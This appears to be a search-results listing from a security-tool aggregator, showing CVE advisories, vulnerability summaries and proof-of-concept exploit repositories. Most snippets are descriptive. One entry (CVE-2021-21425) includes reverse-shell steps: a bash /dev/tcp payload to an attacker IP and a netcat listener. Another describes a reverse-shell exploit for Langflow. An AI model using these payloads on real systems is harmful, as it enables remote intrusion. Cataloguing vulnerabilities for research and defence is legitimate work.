65131 matches found
POC_CVE-2025-53558
CVE-2025-53558 免責事項 本プログラムは、許可されたセキュリティテストおよび研究目的のみに使用してください。使用者はサイバーセキュリティ法に従って適切に使用してください。 使用者が本ツールを使用して何らかの不正攻撃などの違法行為を行った場合、その責任は作者には一切ありません。 使用方法 root@kitploit: python3 CVE-2025-53558.py URL...
CLEANSTART-2026-QV01130 Improper OCSP response validation in the Snowflake Python, Go, JDBC, and Node
Security vulnerability affects the vault package. Improper OCSP response validation in the Snowflake Python, Go, JDBC, and Node...
EUVD-2026-84951
A caching flaw in the toolbox-core package of the mcp-toolbox-sdk-python SDK causes the same Google ID token to be cached and reused across different audiences. If an application uses the SDK to authenticate to two or more different audiences within the same process, the module-level token cache...
cve-2021-3156-sudo-lab
🐧 CVE-2021-3156 — Sudo Security Lab Pythonで開発された教育プロジェクトで、CVE-2021-3156 Baron Samedit 脆弱性の分析に焦点を当てています。これは、Linuxシステム上でローカルの権限昇格を可能にするsudoの重大な欠陥です。 📌 プロジェクトの目的 このプロジェクトは、Linux環境におけるサイバーセキュリティの基本概念を実践するために作成されました。含まれる内容： 実際のCVEの分析 脆弱なバージョンの特定 権限昇格のリスク評価 システムの緩和策と強化 焦点は、技術的な学習 、重大な脆弱性の影響の理解、そして倫理的なR...
CVE-2026-79310: Improper Control of Generation of Code
webpy web.py 0.76 is vulnerable to server-side template injection SSTI. The template engine can be tricked into executing attacker-controlled template code that built-in security checks are designed to reject. When an application precompiles templates from a directory the attacker can write to an...
ROS-20260923-73-0002
The vulnerability in python-black is related to an incorrect limitation on the path name for the restricted access directory. Exploiting this vulnerability could allow a malicious actor to gain unauthorized access to protected information...
ROS-20260923-73-0003
The vulnerability in python-black is related to insufficient validation of input data. Exploiting this vulnerability can allow a remote attacker to cause service failures...
CVE-2026-79310
webpy web.py 0.76 is vulnerable to server-side template injection SSTI. The template engine can be tricked into executing attacker-controlled template code that built-in security checks are designed to reject. When an application precompiles templates from a directory the attacker can write to an...
CVE-2026-79310
webpy web.py 0.76 is vulnerable to server-side template injection SSTI. The template engine can be tricked into executing attacker-controlled template code that built-in security checks are designed to reject. When an application precompiles templates from a directory the attacker can write to an...
CVE-2026-79310
webpy web.py 0.76 is vulnerable to server-side template injection (SSTI) . The vulnerability exists because the template engine can be manipulated into executing attacker-controlled code that bypasses built-in security checks. Specifically, if an application precompiles templates from a directory...
CVE-2025-3248
CVE-2025-3248: Langflow の未認証リモートコード実行（RCE） このリポジトリには2つの Python スクリプトが含まれています： LangflowCheck.py: CVE-2025-3248 に脆弱な Langflow AI インスタンスをチェックするスキャナです。 exploit.py: 脆弱な Langflow ターゲットに対する動作するリバースシェルエクスプロイトです。 概要 CVE-2025-3248 は Langflow AI における重大な脆弱性で、未認証の攻撃者 が /api/v1/validate/code...
CVE-2022-46169
CVE-2022-46169 POC Cacti バージョン =1.2.22 の CVE-2022-46169 を悪用するための Proof of concept / CTF スクリプト このスクリプトは CTF チャレンジを解くために作成されました。 以下のサンプルスクリプトを基にしています。これらのスクリプトが実際に何を行っているのか理解するのが難しかったため、独自の解釈で書き直しました。その過程でエクスプロイトの仕組みを理解することができました。...
CVE-2021-21425
CVE-2021-21425 出典: https://www.exploit-db.com/exploits/49973 1 ターゲットIPを変更 2 ペイロードを変更 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...
Log4j-CVE-2021-44228
このPythonスキャナーは、Javaインスタンス内のlog4j脆弱性を検出し、応答を返します。...
CVE-2025-30208
CVE-2025-30208 POC CVE-2025-30208 pip install -r requirements.txt 機能： -u URLを指定してスキャン -r txtファイルを指定してスキャン...
cve-exploit
CVE-EXPLOIT Use this software only for legal purposes. I am in no way responsible for your actions. Use python 3.11.2 Made by Edu0x01 DESCRIPTION cve-exploit is a hub for finding CVEs and exploits. It is based on the official NIST, ExploitDB and Github databases. The tool makes it quick and easy ...
CVE-2025-55182
CVE-2025-55182 - Tool React2Shell React2Shell Ultimate Scanner v2.0 CVE-2025-66478 に対するプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、React Server Components RSC を使用する Next.js アプリケーションに影響する重大なリモートコード実行 RCE 脆弱性 CVE-2025-66478 向けの包括的な脆弱性スキャナーです。 🆕 v2.0 の新機能 バージョン 2.0...
pysho
pysho Python based tool to perform Shodan queries via the Shodan API Get the tool: root@kitploit: git clone https://github.com/Kr0ff/pysho python -m pip install -r requirements.txt chmod +x pysho.py ./pysho Example usage: root@kitploit: Perform a check on your Shodan API key python pysho.py --inf...
log4j-filescan
root@kitploit: ████████████████▀███████████████████████████████████████████████████████████████████ █▄─▄███─▄▄─█─▄▄▄▄█░█░████▄─▄█▀▀▀▀▀██▄─▄▄─█▄─▄█▄─▄███▄─▄▄─█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▀█▄─▄█ ██─██▀█─██─█─██▄─█▄▄░██─▄█─██████████─▄████─███─██▀██─▄█▀█▄▄▄▄─█─███▀██─▀─███─█▄▀─██...
